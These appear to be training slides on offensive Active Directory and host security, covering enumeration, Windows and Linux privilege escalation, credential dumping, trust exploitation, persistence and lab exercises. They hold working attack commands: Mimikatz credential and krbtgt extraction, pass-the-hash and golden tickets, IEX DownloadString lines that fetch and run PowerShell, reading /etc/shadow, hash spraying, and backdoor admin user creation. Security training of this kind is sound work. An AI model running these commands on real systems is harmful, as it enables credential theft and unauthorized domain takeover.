○ Tool to analyze and visualize Active Directory Trust Relationships. The graphical 

representation made using BloodHound can help to identify the shortest path to compromise a 

domain. https://github.com/BloodHoundAD/BloodHound 

https://github.com/BloodHoundAD/BloodHound
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Active Directory Enumeration: BloodHound
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Active Directory Enumeration
● Grouper2:

○ It finds vulnerabilities in AD Group Policy. 

https://github.com/l0ss/Grouper2 

● ADACLScanner:
○ AD Access Control List Scanner with report 

generation feature. 

https://github.com/canix1/ADACLScanner 

● Pingcastle: 
○ AD security audit tool. 

https://github.com/vletoux/pingcastle 

https://github.com/l0ss/Grouper2
https://github.com/canix1/ADACLScanner
https://github.com/vletoux/pingcastle
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Privilege Escalation
Once a user/service has been compromised the access we get, can be of low privilege 

or not be sufficient enough to reach the ultimate goal (scope dependent). The goal 

could be to compromise the Domain Controller or to get access to a specific host 

containing sensitive information.

In such scenarios we need to attempt to elevate our privileges. Depending upon the 

target platform there can be multiple techniques to do so, ranging from extracting 

information from local files, to exploiting kernel bugs.
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Privilege Escalation Techniques: Windows

● Passwords in files (unattend.xml, sysprep.inf)

● Decryptable Passwords in SYSVOL

● Scheduled tasks with weak folder permissions

● Weak folder permissions for startup 

applications 

● Unquoted Paths

● DLL Hijacking

● Token Impersonation

● Internal Password/Hash Spraying

● Dump Hashes/Creds

● Local Exploits (e.g. MS16-135)

● Poisoning name resolution 

(NBT-NS/LLMNR)

● Kerberoasting

Common Windows Privilege Escalation Techniques:

Reference: https://rmusser.net/docs/Privilege%20Escalation%20&%20Post-Exploitation.html#privescwin
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Credentials in Files
● Find file containing the keyword:

○ findstr /si password *.xml *.ini *.txt *.config *.bat *.vbs
● Find file with filename:

○ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
● Search the registry for key names:

○ REG QUERY HKLM /F "password" /t REG_SZ /S /K
○ REG QUERY HKCU /F "password" /t REG_SZ /S /K

● Unattend/Sysprep file locations:
○ C:\unattend.xml
○ C:\Windows\Panther\Unattend.xml
○ C:\Windows\Panther\Unattend\Unattend.xml
○ C:\Windows\system32\sysprep.inf
○ C:\Windows\system32\sysprep\sysprep.xml
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Exploring Weak Folder Permissions
● Startup tasks

○ wmic startup get caption,command
○ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
○ reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
○ reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
○ dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
○ dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

● Scheduled tasks
○ schtasks /query /fo LIST 2>nul | findstr TaskName
○ Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Reference: 
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
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Poisoning Name Resolution
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Tools for PrivEsc Check: Windows
Common windows privilege escalation tools:

● Metasploit Framework: 

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers 

● PowerUp: 

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 

● Sherlock: https://github.com/rasta-mouse/Sherlock 

● Powerless: https://github.com/M4ximuss/Powerless 

● Windows-privesc-check: https://github.com/pentestmonkey/windows-privesc-check 

● Windows-kernel-exploits: https://github.com/SecWiki/windows-kernel-exploits 

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
https://github.com/rasta-mouse/Sherlock
https://github.com/M4ximuss/Powerless
https://github.com/pentestmonkey/windows-privesc-check
https://github.com/SecWiki/windows-kernel-exploits
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Tools in Action
● PowerUp
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Privilege Escalation Techniques: Linux

● Files with cleartext passwords

● Weak password for local/network 

services

● Exploit services running as root

● SUID Binaries

● Exposed NFS shares 

● Misconfigured SUDO rights

● Weak permissions in CRON jobs 

file/directory

● Kernel exploits

Common Linux Privilege Escalation Techniques:

Reference: https://rmusser.net/docs/Privilege%20Escalation%20&%20Post-Exploitation.html#linpriv
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LinEnum
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Tools for PrivEsc Check: Linux
● LinEnum: https://github.com/rebootuser/LinEnum 

● PE-Linux: https://github.com/WazeHell/PE-Linux 

● Unix-privesc-check: https://github.com/pentestmonkey/unix-privesc-check 

https://github.com/rebootuser/LinEnum
https://github.com/WazeHell/PE-Linux
https://github.com/pentestmonkey/unix-privesc-check
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Dumping Privileged Information
Once we have gained access to a network (hopefully with a higher privilege), we can 

move further to extract sensitive information from the hosts within the network. This 

would allow us to move further in the network and demonstrate the impact of the 

breach.

The definition of the privileged information would vary depending upon the scope of the 

assessment, however some examples can be admin/high privilege credentials, private 

SSH keys to sensitive hosts, Access tokens, API keys etc.
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Privileged Information: Meterpreter
● Password hash dump:

○  hashdump

● Dump all credentials:
○  load kiwi

○  creds_all

● Impersonate Token:
○  use incognito

○  list_token -u

○  list_token -g

○  impersonate_token <token_name>
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Mimikatz: The Swiss Army Knife
Mimikatz is a tool written in C to gather credential data from Windows systems.

● Extract User Passwords from lsass.exe
○ mimikatz # privilege::debug

○ mimikatz # sekurlsa::logonPasswords full

● Extract the krbtgt hash from DC
○ privilege::debug

○ lsadump::lsa /inject /name:krbtgt OR

○ lsadump::dcsync /domain:domain.example.local /user:krbtgt

● Perform Pass-the-Hash
○ sekurlsa::pth /user:Administrator /domain:internal_domain /ntlm:{NTLM_hash} /run:cmd.exe

Reference: https://adsecurity.org/?page_id=1821
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Mass-Mimikatz
Mimikatz also has powershell versions. Combining a few methods, we can launch a 

mass mimikatz attack on a network if we have access to an admin user’s 

password/hash:

● IEX(New-Object 

System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/Power

ShellEmpire/PowerTools/master/PowerView/powerview.ps1")

● Find-LocalAdminAccess | Invoke-MassMimikatz –Verbose

Reference: https://adsecurity.org/?page_id=1821
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Other Memory Dump Utilities
● Mimikittenz, a powershell tool to extract sensitive plain-text information from 

running process memory address space, such as credentials, PII data, encryption 

keys etc.

○ https://github.com/putterpanda/mimikittenz 

● Similarly there is another utilities such as mimipy, Crykex which can dump 

passwords and keys from various processes memory and works on linux/OSX.
○ https://github.com/n1nj4sec/mimipy 

○ https://github.com/cryptolok/CryKeX 

https://github.com/putterpanda/mimikittenz
https://github.com/n1nj4sec/mimipy
https://github.com/cryptolok/CryKeX
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Utilising Privileged Information
Once privileged information has been extracted it can be further used to gain more 

access within the network.

We can spray extracted password/hash across the network to check if any other hosts 

accepts them and provides us information which can help us reach our goal. For 

example, using crackmapexec we can spray the password/hash over a network and 

dump hashes if possible:

● crackmapexec IP/localhost -u USERNAME -p "PASSWORD" --sam
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Credential Spray with HashDump: CrackMapExec
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Lab Exercise 20
● Using any of the domain privilege escalation techniques, compromise the Domain 

Administrator of CConsoleDev.
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Domain Trust
Multiple domains within a forest can communicate with each other based on the trust 

relationship they have. This allows domains to share (and restrict) resource sharing 

within the forest environment. This trust relation could be one way or two way. 

Reference: https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/
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Domain Trust
Trust Type Characteristics Direction Notes
Parent-Child Transitive Two-way Created automatically when a child domain is added.

Tree-Root Transitive Two-way Created automatically when a new Tree is added to a forest.

Shortcut Transitive One-way
or
Two-way

Created Manually.
Used in an AD DS forest to shorten the trust path to improve authentication 
times.

Forest Transitive One-way
or
Two-way

Created Manually.
Used to share resources between AD DS forests.

External Non-transitive One-way Created Manually.
Used to access resources in an NT 4.0 domain or a domain in another forest 
that does not have a forest trust established.

Realm Transitive or 
non-transitive

One-way
or
Two-way

Created Manually.
Used to access resources between a non-Windows Kerberos V5 realm and an 
AD DS domain.

Reference: https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/
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Enumerating Trust
PowerSploit’s PowerView module provides functions to enumerate trust:

● Get-NetDomainTrust

● Get-NetForestTrust

● Find-ForeignUser

● Find-ForeignGroup

● Invoke-MapDomainTrust

Bloodhound and TrustVisualizer (https://github.com/HarmJ0y/TrustVisualizer) can be 

used to create a domain trust visualization.

https://github.com/HarmJ0y/TrustVisualizer
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Exploiting Trust: Attack Path
● Using Get-NetDomainTrust identify the trust relationship of current domain with 

other domains.
> IEX(New-Object 

System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/Power

Sploit/master/Recon/PowerView.ps1')

> Get-NetDomainTrust

● Use Find-ForeignGroup see if any groups in the trusting domain contains 

members in the trusted domain. 
> Find-ForeignGroup -Domain trustingdomain.local
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Exploiting Trust: Attack Path
● Use Find-ForeignUser to see if any users from trusted domain has access into 

other groups in the forest.
> Find-ForeignUser -Domain trustingdomain.local

● Use the privilege to move further.
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Lab Exercise 21
● Enumerate Domain trust. 

● Enumerate a trusted user for the established trust. 

● Using the trusted user, gain access to machines on Domain cconsole.com

● Read the secret.txt file in the C:\ of the Domain Controller of cconsole.com
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Persistence
Once the highest possible privilege or the goal of the assessment has been achieved, it 

is also required to demonstrate that an attacker could maintain the current access to 

the hosts for future use.

Persistence allows the attacker to access the network in future and extract updated 

sensitive information or perform malicious activity at a pre-defined time for maximum 

damage.
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Persistence Techniques: Windows
Some of the persistence techniques in Windows:

● Create and add a new user to the highest privilege group

● Extract and Save Password/Hashes of high privilege users

● Scheduled Tasks

● Generate a Golden/Silver Ticket

● Skeleton Keys 

● SID History

● DCShadow etc.
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Add User
● Add a local user and put them in local Administrators group

○ net user exampleuser p@$$w0rd /ADD

○ net localgroup Administrators exampleuser /ADD

● Add a domain user and put them in Domain Admins group
○ net user exampleuser p@$$w0rd /ADD /DOMAIN

○ net group "Domain Admins" exampleuser /ADD /DOMAIN
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Mimikatz: Revisited
● Golden Ticket: Create and inject the forged ticket into memory for use

○ kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID 

/sid:DOMAINSID /krbtgt:KRBTGTHASH /ptt

● Using Meterpreter
○  load kiwi

○  golden_ticket_create -d DOMAINFQDN -k KRBTGTHASH -s DOMAINSID -u 

ADMINACCOUNTNAME -t /root/Downloads/ADMINACCOUNTNAME.tck

○  kerberos_ticket_use /root/Downloads/ADMINACCOUNTNAME.tck
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Persistence Techniques: Linux
● Create and add a new user to the highest privilege group

● Extract and crack password hashes of high privilege users

● Cron Jobs

● Add SSH keys

● Malicious .bash_profile and .bashrc etc.

.
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Add User / Crack Passwords
● Create a user and add it to the sudo group

○ adduser exampleuser

○ usermod -aG sudo exampleuser

○ su - exampleuser

○ sudo command_to_run

● Crack Linux Passwords
○ Extract passwd and shadow file (cat /etc/passwd & cat /etc/shadow)

○ unshadow passwd shadow > passwords

○ john --wordlist=/path/to/password_wordlist passwords

○ john --show passwords
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Attack Infrastructure
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Conclusion
The more time you spend in reconnaissance, the less time you will have to spend during 

the attack and exploitation phase.

● Collect and document as much information about the target as possible.

● Filter and prioritize the information based on the assessment goal.

● Identify the use cases of the collected information based on assessment context.

● Create and test your attack servers, C2 hosts, phishing servers, payloads 

beforehand and implement segregation to avoid burning your attack infrastructure.

● Repeat the reconnaissance process as soon as new information/privilege is attained. 

Information revealed later during the exercise might bring out new attack vectors. 
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